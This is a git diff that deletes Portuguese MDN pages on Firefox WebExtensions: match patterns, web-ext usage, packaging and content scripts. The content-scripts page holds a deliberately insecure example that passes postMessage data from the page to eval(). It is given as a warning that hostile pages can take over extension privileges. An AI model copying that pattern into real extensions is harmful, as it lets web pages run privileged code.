Note: Some browsers don’t support certain schemes.
+ Check the Browser compatibility table for details.

+
+ +

All match patterns are specified as strings. Apart from the special <all_urls> pattern, match patterns consist of three parts: scheme, host, and path. The scheme and host are separated by ://.

+ +
<scheme>://<host><path>
+ +

scheme

+ +

The scheme component may take one of two forms:

+ + + + + + + + + + + + + + + + + + +
FormMatches
*Only "http" and "https" and in some browsers also "ws" and "wss".
One of http, https, ws, wss, ftp, ftps, data or file.Only the given scheme.
+ +

host

+ +

The host component may take one of three forms:

+ + + + + + + + + + + + + + + + + + + + + + +
FormMatches
*Any host.
*. followed by part of the hostname.The given host and any of its subdomains.
A complete hostname, without wildcards.Only the given host.
+ +

host must not include a port number.

+ +

host is optional only if the scheme is "file".

+ +

Note that the wildcard may only appear at the start.

+ +

path

+ +

The path component must begin with a /.

+ +

After that, it may subsequently contain any combination of the * wildcard and any of the characters that are allowed in URL paths or query strings. Unlike host, the path component may contain the * wildcard in the middle or at the end, and the * wildcard may appear more than once.

+ +

The value for the path matches against the string which is the URL path plus the URL query string. This includes the ? between the two, if the query string is present in the URL. For example, if you want to match URLs on any domain where the URL path ends with foo.bar, then you need to use an array of Match Patterns like ['*://*/*foo.bar', '*://*/*foo.bar?*']. The ?* is needed, rather than just bar*, in order to anchor the ending * as applying to the URL query string and not some portion of the URL path.

+ +

Neither the URL fragment identifier, nor the # which precedes it, are considered as part of the path.

+ +
+

Note: The path pattern string should not include a port number. Adding a port, as in: "http://localhost:1234/*" causes the match pattern to be ignored. However, "http://localhost:1234" will match with "http://localhost/*"

+
+ +

<all_urls>

+ +

The special value <all_urls> matches all URLs under any of the supported schemes: that is "http", "https", "ws", "wss", "ftp", "data", and "file".

+ +

Examples

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PatternExample matchesExample non-matches
+

<all_urls>

+ +

Match all URLs.

+
+

http://example.org/

+ +

https://a.org/some/path/

+ +

ws://sockets.somewhere.org/

+ +

wss://ws.example.com/stuff/

+ +

ftp://files.somewhere.org/

+ +

ftps://files.somewhere.org/

+
+

resource://a/b/c/
+ (unsupported scheme)

+
+

*://*/*

+ +

Match all HTTP, HTTPS and WebSocket URLs.

+
+

http://example.org/

+ +

https://a.org/some/path/

+ +

ws://sockets.somewhere.org/

+ +

wss://ws.example.com/stuff/

+
+

ftp://ftp.example.org/
+ (unmatched scheme)

+ +

ftps://ftp.example.org/
+ (unmatched scheme)

+ +

file:///a/
+ (unmatched scheme)

+
+

*://*.mozilla.org/*

+ +

Match all HTTP, HTTPS and WebSocket URLs that are hosted at "mozilla.org" or one of its subdomains.

+
+

http://mozilla.org/

+ +

https://mozilla.org/

+ +

http://a.mozilla.org/

+ +

http://a.b.mozilla.org/

+ +

https://b.mozilla.org/path/

+ +

ws://ws.mozilla.org/

+ +

wss://secure.mozilla.org/something

+
+

ftp://mozilla.org/
+ (unmatched scheme)

+ +

http://mozilla.com/
+ (unmatched host)

+ +

http://firefox.org/
+ (unmatched host)

+
+

*://mozilla.org/

+ +

Match all HTTP, HTTPS and WebSocket URLs that are hosted at exactly "mozilla.org/".

+
+

http://mozilla.org/

+ +

https://mozilla.org/

+ +

ws://mozilla.org/

+ +

wss://mozilla.org/

+
+

ftp://mozilla.org/
+ (unmatched scheme)

+ +

http://a.mozilla.org/
+ (unmatched host)

+ +

http://mozilla.org/a
+ (unmatched path)

+
+

ftp://mozilla.org/

+ +

Match only "ftp://mozilla.org/".

+
ftp://mozilla.org +

http://mozilla.org/
+ (unmatched scheme)

+ +

ftp://sub.mozilla.org/
+ (unmatched host)

+ +

ftp://mozilla.org/path
+ (unmatched path)

+
+

https://*/path

+ +

Match HTTPS URLs on any host, whose path is "path".

+
+

https://mozilla.org/path

+ +

https://a.mozilla.org/path

+ +

https://something.com/path

+
+

http://mozilla.org/path
+ (unmatched scheme)

+ +

https://mozilla.org/path/
+ (unmatched path)

+ +

https://mozilla.org/a
+ (unmatched path)

+ +

https://mozilla.org/
+ (unmatched path)

+ +

https://mozilla.org/path?foo=1
+ (unmatched path due to URL query string)

+
+

https://*/path/

+ +

Match HTTPS URLs on any host, whose path is "path/" and which has no URL query string.

+
+

https://mozilla.org/path/

+ +

https://a.mozilla.org/path/

+ +

https://something.com/path/

+
+

http://mozilla.org/path/
+ (unmatched scheme)

+ +

https://mozilla.org/path
+ (unmatched path)

+ +

https://mozilla.org/a
+ (unmatched path)

+ +

https://mozilla.org/
+ (unmatched path)

+ +

https://mozilla.org/path/?foo=1
+ (unmatched path due to URL query string)

+
+

https://mozilla.org/*

+ +

Match HTTPS URLs only at "mozilla.org", with any URL path and URL query string.

+
+

https://mozilla.org/

+ +

https://mozilla.org/path

+ +

https://mozilla.org/another

+ +

https://mozilla.org/path/to/doc

+ +

https://mozilla.org/path/to/doc?foo=1

+
+

http://mozilla.org/path
+ (unmatched scheme)

+ +

https://mozilla.com/path
+ (unmatched host)

+
+

https://mozilla.org/a/b/c/

+ +

Match only this URL, or this URL with any URL fragment.

+
+

https://mozilla.org/a/b/c/

+ +

https://mozilla.org/a/b/c/#section1

+
Anything else.
+

https://mozilla.org/*/b/*/

+ +

Match HTTPS URLs hosted on "mozilla.org", whose path contains a component "b" somewhere in the middle. Will match URLs with query strings, if the string ends in a /.

+
+

https://mozilla.org/a/b/c/

+ +

https://mozilla.org/d/b/f/

+ +

https://mozilla.org/a/b/c/d/

+ +

https://mozilla.org/a/b/c/d/#section1

+ +

https://mozilla.org/a/b/c/d/?foo=/

+ +

https://mozilla.org/a?foo=21314&bar=/b/&extra=c/

+
+

https://mozilla.org/b/*/
+ (unmatched path)

+ +

https://mozilla.org/a/b/
+ (unmatched path)

+ +

https://mozilla.org/a/b/c/d/?foo=bar
+ (unmatched path due to URL query string)

+
+

file:///blah/*

+ +

Match any FILE URL whose path begins with "blah".

+
+

file:///blah/

+ +

file:///blah/bleh

+
file:///bleh/
+ (unmatched path)
+ +

Invalid match patterns

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Invalid patternReason
resource://path/Unsupported scheme.
https://mozilla.orgNo path.
https://mozilla.*.org/"*" in host must be at the start.
https://*zilla.org/"*" in host must be the only character or be followed by ".".
http*://mozilla.org/"*" in scheme must be the only character.
https://mozilla.org:80/Host must not include a port number.
*://*Empty path: this should be "*://*/*".
file://*Empty path: this should be "file:///*".
+ +

Browser compatibility

+ +

scheme

+ + + +

{{Compat("webextensions.match_patterns.scheme",10)}}

diff --git a/files/pt-pt/mozilla/add-ons/webextensions/o_que_sao_webextensions/index.html b/files/pt-pt/mozilla/add-ons/webextensions/o_que_sao_webextensions/index.html deleted file mode 100644 index c2d7ef5d71..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/o_que_sao_webextensions/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: O que são extensões? -slug: Mozilla/Add-ons/WebExtensions/O_que_sao_WebExtensions -tags: - - Extensões - - Extensões da Web -translation_of: Mozilla/Add-ons/WebExtensions/What_are_WebExtensions ---- -
{{AddonSidebar}}
- -

Uma extensão adiciona funcionalidades e funções a um navegador. É criada, utilizando a tecnologia padrão baseada na Web - CSS, HTML e JavaScript. Esta tira vantagem de algumas APIs da Web, como JavaScript pode em uma página da web, mas uma extensão também tem acesso ao seu próprio conjunto de APIs de JavaScript. Isto significa que pode fazer muito mais numa extensão do que pode com o código numa página da Web. Aqui estão apenas alguns exemplos das coisas que pode fazer.

- -

Melhore ou complemente um site da Web: utilize um extra para fornecer funcionalidades adicionais no navegador ou informação do seu site da Web. Permita que os utilizadores recolham detalhes das páginas que eles visitam, para melhorar o serviço que oferece.

- -

- -

Exemplos: Amazon Assistant para Firefox, OneNote Web Clipper, e Grammarly for Firefox

- -

Deixe que os utilizadores mostrem a sua personalidade: Browser extensions can manipulate the content of pages browsed by a user. Help the user add a favorite logo or picture as the background to every page they visit. Extensions also give you the ability to update the look of the Firefox UI. (Update the Firefox UI using standalone theme add-ons too).

- -

- -

Exemplos: MyWeb New Tab, Tabliss, e VivaldiFox

- -

Adicionar ou remover conteúdo das páginas da Web: You might want to help users block intrusive ads from web pages, provide access to a travel guide whenever a country or city is mentioned in a web page, or reformat page content to offer a consistent reading experience. With the ability to access and update both a page’s HTML and CSS, you can help users see the web the way they want to.

- -

- -

Exemplos: uBlock Origin, Reader, e Toolbox para Google Play Store™

- -

Adicionar ferramentas e novas funcionalidades de navegação: Add new features to a taskboard, or generate QR code images from URLs, hyperlinks, or page text. With flexible UI options and the power of the WebExtensions APIs you can easily add new features to a browser. And, you can enhance almost any website’s features or functionality, it doesn't have to be your website.

- -

- -

Examples: QR Code Image Generator, Swimlanes for Trello, and Tomato Clock

- -

Jogos: Offer traditional computer games, with off-line play features, but also explore new game possibilities, for example, by incorporating gameplay into everyday browsing.

- -

 

- -

Examples: Asteroids in Popup, Solitaire Card Game New Tab, and 2048 Prime.

- -

Adicionar ferramentas de desenvolvimento: You may provide web development tools as your business or have developed a useful technique or approach to web development that you want to share. Either way, you can enhance the built-in Firefox developer tools by adding a new tab to the developer toolbar.

- -

- -

Examples: Web Developer, Web React Developer Tools, and aXe Developer Tools

- -

Extensions for Firefox are built using the WebExtensions APIs, a cross-browser system for developing extensions. To a large extent, the API is compatible with the extension API supported by Google Chrome and Opera. Extensions written for these browsers will in most cases run in Firefox or Microsoft Edge with just a few changes. The API is also fully compatible with multiprocess Firefox.

- -

If you have ideas or questions, or need help migrating a legacy add-on to WebExtensions APIs, you can reach us on the dev-addons mailing list or in #extdev on IRC.

- -

E a seguir?

- - diff --git a/files/pt-pt/mozilla/add-ons/webextensions/primeiros_passos_com_web-ext/index.html b/files/pt-pt/mozilla/add-ons/webextensions/primeiros_passos_com_web-ext/index.html deleted file mode 100644 index a6eb21ffc1..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/primeiros_passos_com_web-ext/index.html +++ /dev/null @@ -1,304 +0,0 @@ ---- -title: Primeiros passos com web-ext -slug: Mozilla/Add-ons/WebExtensions/Primeiros_passos_com_web-ext -tags: - - Extensão da Web - - Ferramentas - - Guía - - Instalação - - Testes - - empacotamento - - web-ext -translation_of: Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext ---- -
{{AddonSidebar}}
- -

web-ext é uma ferramenta da linha de comando desenhada para acelerar várias partes do processo de desenvolvimento da extensão, tornado o desenvolvimento mais rápido e fácil. Este artigo explica como instalar e utilizar web-ext.

- -

Instalação

- -

web-ext is a node-based application that you install with the nodejs/npm tool. Install web-ext using the following command:

- -
npm install --global web-ext
- -

web-ext requires the current LTS (long-term support) version of NodeJS.

- -

To test whether the installation worked run the following command, which displays the web-ext version number:

- -
web-ext --version
- -

Utilizar web-ext

- -

Before you start using web-ext, locate an example extension to use—if you don't have one, use one from the webextensions-examples repo.

- -

Testar uma extensão

- -

Test an extension in Firefox by cd'ing into your extension's root directory and entering:

- -
web-ext run
- -

This starts Firefox and loads the extension temporarily in the browser, just as you can on the about:debugging page.

- -

See the run reference guide to learn more.

- -

Recarregamento automático da extensão

- -

The run command watches your source files and tells Firefox to reload the extension after you edit and save a file. For example, if you changed the name property in your manifest.json file, Firefox displays the new name. This makes it easy to try out new features because you can see the effect immediately. The automatic reloading feature is active by default, you use it like this:

- -
web-ext run
- -

You can also press the r key in the web-ext terminal to trigger an extension reload.

- -

If you experience unexpected behavior with the reloading feature, please file a bug. You can also disable reloading like this:

- -
web-ext run --no-reload
- -
-

O reccaregamento da extensão só é suportado a paratir da versão do Firefox 49 ou superior .

-
- -

Testar em versões diferentes do Firefox

- -

To run your extension in a version of Firefox Desktop other than the default, use the --firefox option to specify a full path to the binary file. Here is an example for Mac OS:

- -
web-ext run --firefox=/Applications/FirefoxNightly.app/Contents/MacOS/firefox-bin
- -

On Windows, the path needs to include firefox.exe, for example:

- -
web-ext run --firefox="C:\Program Files\Mozilla Firefox\firefox.exe"
- -

See the run command reference to learn more.

- -

Testar no Firefox 48

- -

Firefox 48 was the first stable version to use the WebExtension platform, but it doesn't allow web-ext to install an extension remotely. You need to run your extension in Firefox 48 using:

- -
web-ext run --pre-install
- -

Testar no Firefox para Android

- -

To run your extension in Firefox for Android, follow these instructions to set up your computer and device.

- -

With your device connected to your development computer, run:

- -
web-ext run --target=firefox-android
- -

This command displays the device ID for your connected Android device or devices. If you don't see a list of device IDs, make sure you set up the device for development correctly.

- -

Now, add the device ID to the command:

- -
web-ext run --target=firefox-android --android-device=<device ID>
- -

If you've multiple versions of Firefox installed, you may need to choose a specific version. For example:

- -
web-ext run --target=firefox-android ... --firefox-apk=org.mozilla.firefox
- -

The first time you run this command, you may need to grant Android permissions for the APK. This is because the command needs read / write access to the device storage, so that Firefox for Android can run on a temporary profile. The web-ext output guides you in how to grant these permissions.

- -

The web-ext command does not alter any of your existing Firefox for Android preferences or data. To see more information about how web-ext is interacting with your device, run the command with --verbose.

- -

See the run command reference to learn more.

- -

Depurar no Firefox para Android

- -

When using web-ext run to test an extension on Firefox for Android, you'll notice a message like this in the console output:

- -
You can connect to this Android device on TCP port 51499
-
- -

This is a remote debugger port that you can connect to with Firefox's developer tools. In this case, you'd connect to host localhost on port 51499.

- -

See this guide for more information about debugging an extension on Firefox for Android.

- -

Testar extensões não assinadas

- -

When you execute web-ext run, the extension gets installed temporarily until you close Firefox. This does not violate any signing restrictions. If instead you create a zip file with web-ext build and try to install it into Firefox, you will see an error telling you that the add-on is not signed. You will need to use an unbranded build or use a development build to install unsigned extensions.

- -

Utilizar um perfil personalizado

- -

By default, the run command will create a temporary Firefox profile. To run your extension with a specific profile use the --firefox-profile option, like this:

- -
web-ext run --firefox-profile=your-custom-profile
- -

This option accepts a string containing the name of your profile or an absolute path to the profile directory. This is helpful if you want to manually configure some settings that will always be available to the run command.

- -

Manter alterações de perfil

- -

The run command does not save any changes made to the custom profile specified by --firefox-profile. To keep changes, add this option:

- -
web-ext run --keep-profile-changes --firefox-profile=your-custom-profile
- -

This may be helpful if your extension has many different run states.

- -
-

This option makes the profile specified by --firefox-profile completely insecure for daily use. It turns off auto-updates and allows silent remote connections, among other things. Specifically, it will make destructive changes to the profile that are required for web-ext to operate.

-
- -

Empacotar a sua extensão

- -

Once you've tested your extension and verified that it's working, you can turn it into a package for submitting to addons.mozilla.org using the following command:

- -
web-ext build
- -

This outputs a full path to the generated .zip file that can be loaded into a browser.

- -
-

The generated .zip file doesn't work on Firefox without signing or adding applications.gecko.id key into manifest.json.  For more information, please refer WebExtensions and the Add-on ID page.

-
- -

web-ext build is designed to ignore files that are commonly not wanted in packages, such as .git, node_modules, and other artifacts.

- -

See the build reference guide to learn more.

- -

Assinar a sua extensão para distribuição

- -

As an alternative to publishing your extension on addons.mozilla.org, you can self-host your package file but it needs to be signed by Mozilla first. The following command packages and signs a ZIP file, then returns it as a signed XPI file for distribution:

- -
web-ext sign --api-key=$AMO_JWT_ISSUER --api-secret=$AMO_JWT_SECRET 
- -

The API options are required to specify your addons.mozilla.org credentials.

- - - -

See the sign reference guide to learn more.

- -

Assinar as extensões sem uma Id. explicita

- -

web-ext supports signing extensions that do not declare the applications.gecko.id property in their manifest. The first time you sign an extension without an explicit ID, addons.mozilla.org will generate an ID and web-ext will save it to .web-extension-id in the working directory. You should save the ID file so that you can sign future versions of the same extension. If you lose the ID file, you will have to add back the applications.gecko.id property or use the --id option when signing, for example:

- -
web-ext sign --api-key=... --api-secret=... --id="{c23c69a7-f889-447c-9d6b-7694be8035bc}"
- -

Assinar num ambiente restringido

- -

If you're working in an environment that restricts access to certain domains, you can try using a proxy when signing:

- -
web-ext sign --api-key=... --api-secret=... --api-proxy=https://yourproxy:6000
- -

See the --api-proxy option to learn more.

- -

The following domains are used for signing and downloading files:

- - - -

Verificar com o código "lint"

- -

Before trying out your extension with the run command or submitting your package to addons.mozilla.org, use the lint command to make sure your manifest and other source files do not contain any errors. Example:

- -
web-ext lint
- -

This uses the addons-linter library to walk through your source code directory and report any errors, such as the declaration of an unknown permission.

- -

See the lint reference guide to learn more.

- -

Definindo as predefinições de opção num ficheiro de configuração

- -

You can specify --config=my-config.js to set default values for any option. Here is an example with the build command:

- -
web-ext --config=my-config.js build
- -

The file should be a CommonJS module as understood by NodeJS and must export each configuration value. Here is how you would set the default value of --verbose to true:

- -
module.exports = {
-  verbose: true,
-};
- -

If you want to specify options that only apply to a specific command, you nest the configuration under the command name. Here is an example of adding configuration for --overwrite-dest that only applies to the build command as well as --firefox that only applies to the run command:

- -
module.exports = {
-  // Global options:
-  verbose: true,
-  // Command options:
-  build: {
-    overwriteDest: true,
-  },
-  run: {
-    firefox: 'nightly',
-  },
-};
- -

To create a configuration key for a command line option, you remove the preceding dashes and convert the name to camel case. As you can see from this example, --overwrite-dest was converted to overwriteDest.

- -

If an option can be specified multiple times on the command line then you define it as an array. For example, here is how to specify multiple --ignore-files patterns:

- -
module.exports = {
-  ignoreFiles: [
-    'package-lock.json',
-    'yarn.lock',
-  ],
-};
- -

Automatic discovery of configuration files

- -

web-ext will load existing configuration files in the following order:

- - - -

If a home directory config and a local directory config define the same option, the value from the latter file will be used.

- -

To disable automatic loading of configuration files, set this option:

- -
web-ext --no-config-discovery run
- -

To diagnose an issue related to config files, re-run your command with --verbose. This will tell you which config file affected which option value.

- -

Specifying different source and destination directories

- -

The preceding commands use default directories for the extension source and artifact creation (for example, built .zip files). The defaults are:

- - - -

You can specify different source and destination directories using the --source-dir and --artifacts-dir options when running your commands. Their values can be relative or absolute paths, but must always be specified as strings. Here is an example of specifying both options when building an extension:

- -
web-ext build --source-dir=webextension-examples/notify-link-clicks-i18n --artifacts-dir=zips
- -

Outputting verbose messages

- -

To see in detail what web-ext is doing when you run a command, include the --verbose option. For example:

- -
web-ext build --verbose
- -

Viewing all commands and options

- -

You can list all commands and options like this:

- -
web-ext --help
- -

You can list options for a specific command by adding it as an argument:

- -
web-ext --help run
- -

Detecting temporary installation

- -

Your extension can detect whether it was installed using web-ext run, rather than as a built and signed extension downloaded from addons.mozilla.org. Listen for the {{WebExtAPIRef("runtime.onInstalled")}} event and check the value of details.temporary.

- -

Using web-ext from a script

- -

You can use web-ext as a NodeJS module. Here is more information, with example code.

- -

Consulte também

- - diff --git a/files/pt-pt/mozilla/add-ons/webextensions/publicar_a_sua_extensao/index.html b/files/pt-pt/mozilla/add-ons/webextensions/publicar_a_sua_extensao/index.html deleted file mode 100644 index acc5d21d53..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/publicar_a_sua_extensao/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Publicar a sua extensão -slug: Mozilla/Add-ons/WebExtensions/Publicar_a_sua_extensao -tags: - - Extensões da Web -translation_of: Mozilla/Add-ons/WebExtensions/Package_your_extension_ ---- -
{{AddonSidebar}}
- -

 

- -
-
-

Packaged extensions in Firefox are called "XPI files", which are ZIP files with a different extension.

- -

You don't have to use the XPI extension when uploading to AMO.

-
-
- -

 

- -

During development, your extension will consist of a directory containing a manifest.json file and the other files it needs—scripts, icons, HTML documents, and so on. You need to zip these into a single file for uploading to AMO.

- -

If you're using web-ext, use web-ext build to package your extension. Otherwise, follow the instructions below for your chosen operating system.

- -
-

Dica: The ZIP file must be a ZIP of the extension's files themselves, not of the directory containing them.

-
- -

Windows

- -
    -
  1. Abra a pasta com os seus ficheiros da extensão.
  2. -
  3. Selecione todos os ficheiros.
  4. -
  5. Clique direito e escolha "Enviar para" → Pasta Comprimida (zipped).
  6. -
- -

- -

Mac OS X

- -
    -
  1. Open the folder with your extension's files.
  2. -
  3. Select all of the files.
  4. -
  5. Right click and choose Compress n Items.
  6. -
- -

- -
- -
- -

Linux / Mac OS X Terminal

- -
    -
  1. Open Terminal.
  2. -
  3. Open the directory containing your extension's files,  using the command
    - cd path/to/my-extension/
  4. -
  5. ZIP the content of the directory, using the command
    - zip -r -FS ../my-extension.zip *
  6. -
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/scripts_conteudo/index.html b/files/pt-pt/mozilla/add-ons/webextensions/scripts_conteudo/index.html deleted file mode 100644 index 51356eed85..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/scripts_conteudo/index.html +++ /dev/null @@ -1,446 +0,0 @@ ---- -title: Scripts de Conteúdo -slug: Mozilla/Add-ons/WebExtensions/Scripts_Conteudo -tags: - - Extensões da Web -translation_of: Mozilla/Add-ons/WebExtensions/Content_scripts ---- -
{{AddonSidebar}}
- -

Um script de conteúdo é uma parte da sua extensão que é executada no contexto de uma determinada página da Web (em oposição aos scripts de segundo plano que são parte da própria extensão, ou scripts que são parte do próprio site da Web, tal como aqueles carregados utilizando o {{HTMLElement("script")}} elemento.

- -

Background scripts can access all the WebExtension JavaScript APIs, but they can't directly access the content of web pages. So if your extension needs to do that, you need content scripts.

- -

Just like the scripts loaded by normal web pages, content scripts can read and modify the content of their pages using the standard DOM APIs.

- -

Content scripts can only access a small subset of the WebExtension APIs, but they can communicate with background scripts using a messaging system, and thereby indirectly access the WebExtension APIs.

- -
-

Note that content scripts are blocked on the following domains: accounts-static.cdn.mozilla.net, accounts.firefox.com, addons.cdn.mozilla.net, addons.mozilla.org, api.accounts.firefox.com, content.cdn.mozilla.net, content.cdn.mozilla.net, discovery.addons.mozilla.org, input.mozilla.org, install.mozilla.org, oauth.accounts.firefox.com, profile.accounts.firefox.com, support.mozilla.org, sync.services.mozilla.com, and testpilot.firefox.com. If you try to inject a content script into a page in these domains, it will fail and the page will log a CSP error.

- -

As these restrictions include addons.mozilla.org, users may attempt to use your extension immediately after installation and find it doesn't work. You may want to add an appropriate warning or an onboarding page that moves users away from addons.mozilla.org.

-
- -
-

Values added to the global scope of a content script with var foo or window.foo = "bar" may disappear due to bug 1408996.

-
- -

Carregar scripts de conteúdo

- -

You can load a content script into a web page in one of three ways:

- -
    -
  1. at install time, into pages that match URL patterns: using the content_scripts key in your manifest.json, you can ask the browser to load a content script whenever the browser loads a page whose URL matches a given pattern.
  2. -
  3. at runtime, into pages that match URL patterns: using the {{WebExtAPIRef("contentScripts")}} API, you can ask the browser to load a content script whenever the browser loads a page whose URL matches a given pattern. This is just like method (1), except you can add and remove content scripts at runtime.
  4. -
  5. at runtime, into specific tabs: using the tabs.executeScript() API, you can load a content script into a specific tab whenever you want: for example, in response to the user clicking on a browser action.
  6. -
- -

There is only one global scope per frame per extension, so variables from one content script can directly be accessed by another content script, regardless of how the content script was loaded.

- -

Using methods (1) and (2) you can only load scripts into pages whose URLs can be represented using a match pattern. Using method (3), you can also load scripts into pages packaged with your extension, but you can't load scripts into privileged browser pages like "about:debugging" or "about:addons".

- -

Ambiente de script de conteúdo

- -

Acesso DOM

- -

Content scripts can access and modify the page's DOM, just like normal page scripts can. They can also see any changes that were made to the DOM by page scripts.

- -

However, content scripts get a "clean view of the DOM". This means:

- - - -

In Firefox, this behavior is called Xray vision.

- -

For example, consider a web page like this:

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <meta http-equiv="content-type" content="text/html; charset=utf-8" />
-  </head>
-
-  <body>
-    <script src="page-scripts/page-script.js"></script>
-  </body>
-</html>
- -

The script "page-script.js" does this:

- -
// page-script.js
-
-// add a new element to the DOM
-var p = document.createElement("p");
-p.textContent = "This paragraph was added by a page script.";
-p.setAttribute("id", "page-script-para");
-document.body.appendChild(p);
-
-// define a new property on the window
-window.foo = "This global variable was added by a page script";
-
-// redefine the built-in window.confirm() function
-window.confirm = function() {
-  alert("The page script has also redefined 'confirm'");
-}
- -

Now an extension injects a content script into the page:

- -
// content-script.js
-
-// can access and modify the DOM
-var pageScriptPara = document.getElementById("page-script-para");
-pageScriptPara.style.backgroundColor = "blue";
-
-// can't see page-script-added properties
-console.log(window.foo);  // undefined
-
-// sees the original form of redefined properties
-window.confirm("Are you sure?"); // calls the original window.confirm()
- -

The same is true in reverse: page scripts can't see JavaScript properties added by content scripts.

- -

All this means that the content script can rely on DOM properties behaving predictably, and doesn't have to worry about variables it defines clashing with variables defined in the page script.

- -

One practical consequence of this behavior is that a content script won't have access to any JavaScript libraries loaded by the page. So for example, if the page includes jQuery, the content script won't be able to see it.

- -

If a content script does want to use a JavaScript library, then the library itself should be injected as a content script alongside the content script that wants to use it:

- -
"content_scripts": [
-  {
-    "matches": ["*://*.mozilla.org/*"],
-    "js": ["jquery.js", "content-script.js"]
-  }
-]
- -

Note that Firefox provides some APIs that enable content scripts to access JavaScript objects created by page scripts and to expose their own JavaScript objects to page scripts. See Sharing objects with page scripts for more details.

- -

APIs da Extensão da Web

- -

In addition to the standard DOM APIs, content scripts can use the following WebExtension APIs:

- -

From extension:

- - - -

From runtime:

- - - -

From i18n:

- - - -

From menus:

- - - -

Everything from storage.

- -

XHR e Fetch

- -

Content scripts can make requests using the normal window.XMLHttpRequest and window.fetch() APIs.

- -

Content scripts get the same cross-domain privileges as the rest of the extension: so if the extension has requested cross-domain access for a domain using the permissions key in manifest.json, then its content scripts get access that domain as well.

- -

This is accomplished by exposing more privileged XHR and fetch instances in the content script, which has the side-effect of not setting the Origin and Referer headers like a request from the page itself would, this is often preferable to prevent the request from revealing its cross-orign nature. From version 58 onwards extensions that need to perform requests that behave as if they were sent by the content itself can use  content.XMLHttpRequest and content.fetch() instead. For cross-browser extensions their presence must be feature-detected.

- -

Comunicar com scripts de segundo plano

- -

Although content scripts can't directly use most of the WebExtension APIs, they can communicate with the extension's background scripts using the messaging APIs, and can therefore indirectly access all the same APIs that the background scripts can.

- -

There are two basic patterns for communicating between the background scripts and content scripts: you can send one-off messages, with an optional response, or you can set up a longer-lived connection between the two sides, and use that connection to exchange messages.

- -

One-off messages

- -

To send one-off messages, with an optional response, you can use the following APIs:

- - - - - - - - - - - - - - - - - - - - - -
In content scriptIn background script
Send a messagebrowser.runtime.sendMessage()browser.tabs.sendMessage()
Receive a messagebrowser.runtime.onMessagebrowser.runtime.onMessage
- -

For example, here's a content script which listens for click events in the web page. If the click was on a link, it messages the background page with the target URL:

- -
// content-script.js
-
-window.addEventListener("click", notifyExtension);
-
-function notifyExtension(e) {
-  if (e.target.tagName != "A") {
-    return;
-  }
-  browser.runtime.sendMessage({"url": e.target.href});
-}
- -

The background script listens for these messages and displays a notification using the notifications API:

- -
// background-script.js
-
-browser.runtime.onMessage.addListener(notify);
-
-function notify(message) {
-  browser.notifications.create({
-    "type": "basic",
-    "iconUrl": browser.extension.getURL("link.png"),
-    "title": "You clicked a link!",
-    "message": message.url
-  });
-}
-
- -

This example code is lightly adapted from the notify-link-clicks-i18n example on GitHub.

- -

Connection-based messaging

- -

Sending one-off messages can get cumbersome if you are exchanging a lot of messages between a background script and a content script. So an alternative pattern is to establish a longer-lived connection between the two contexts, and use this connection to exchange messages.

- -

Each side has a runtime.Port object, which they can use to exchange messages.

- -

To create the connection:

- - - -

Once each side has a port, the two sides can exchange messages using runtime.Port.postMessage() to send a message, and runtime.Port.onMessage to receive messages.

- -

For example, as soon as it loads, this content script:

- - - -
// content-script.js
-
-var myPort = browser.runtime.connect({name:"port-from-cs"});
-myPort.postMessage({greeting: "hello from content script"});
-
-myPort.onMessage.addListener(function(m) {
-  console.log("In content script, received message from background script: ");
-  console.log(m.greeting);
-});
-
-document.body.addEventListener("click", function() {
-  myPort.postMessage({greeting: "they clicked the page!"});
-});
- -

The corresponding background script:

- - - -
// background-script.js
-
-var portFromCS;
-
-function connected(p) {
-  portFromCS = p;
-  portFromCS.postMessage({greeting: "hi there content script!"});
-  portFromCS.onMessage.addListener(function(m) {
-    console.log("In background script, received message from content script")
-    console.log(m.greeting);
-  });
-}
-
-browser.runtime.onConnect.addListener(connected);
-
-browser.browserAction.onClicked.addListener(function() {
-  portFromCS.postMessage({greeting: "they clicked the button!"});
-});
-
- -

Multiple content scripts

- -

If you have multiple content scripts communicating at the same time, you might want to store each connection in an array.

- - - - - -
// background-script.js
-
-var ports = []
-
-function connected(p) {
-  ports[p.sender.tab.id]    = p
-  //...
-}
-
-browser.runtime.onConnect.addListener(connected)
-
-browser.browserAction.onClicked.addListener(function() {
-  ports.forEach(p => {
-        p.postMessage({greeting: "they clicked the button!"})
-    })
-});
- - - - - -

Comunicar com a página da Web

- -

Although content scripts don't by default get access to objects created by page scripts, they can communicate with page scripts using the DOM window.postMessage and window.addEventListener APIs.

- -

For example:

- -
// page-script.js
-
-var messenger = document.getElementById("from-page-script");
-
-messenger.addEventListener("click", messageContentScript);
-
-function messageContentScript() {
-  window.postMessage({
-    direction: "from-page-script",
-    message: "Message from the page"
-  }, "*");
- -
// content-script.js
-
-window.addEventListener("message", function(event) {
-  if (event.source == window &&
-      event.data &&
-      event.data.direction == "from-page-script") {
-    alert("Content script received message: \"" + event.data.message + "\"");
-  }
-});
- -

For a complete working example of this, visit the demo page on GitHub and follow the instructions.

- -
-

Note that any time you interact with untrusted web content on this way, you need to be very careful. Extensions are privileged code which can have powerful capabilities, and hostile web pages can easily trick them into accessing those capabilities.

- -

To make a trivial example, suppose the content script code that receives the message does something like this:

- -
// content-script.js
-
-window.addEventListener("message", function(event) {
-  if (event.source == window &&
-      event.data.direction &&
-      event.data.direction == "from-page-script") {
-    eval(event.data.message);
-  }
-});
- -

Now the page script can run any code with all the privileges of the content script.

-
- -

Using eval() in content scripts

- -

In Chrome, eval() always runs code in the context of the content script, not in the context of the page.

- -

In Firefox:

- - - -

For example, consider a content script like this:

- -
// content-script.js
-
-window.eval('window.x = 1;');
-eval('window.y = 2');
-
-console.log(`In content script, window.x: ${window.x}`);
-console.log(`In content script, window.y: ${window.y}`);
-
-window.postMessage({
-  message: "check"
-}, "*");
- -

This code just creates some variables x and y using window.eval() and eval(), then logs their values, then messages the page.

- -

On receiving the message, the page script logs the same variables:

- -
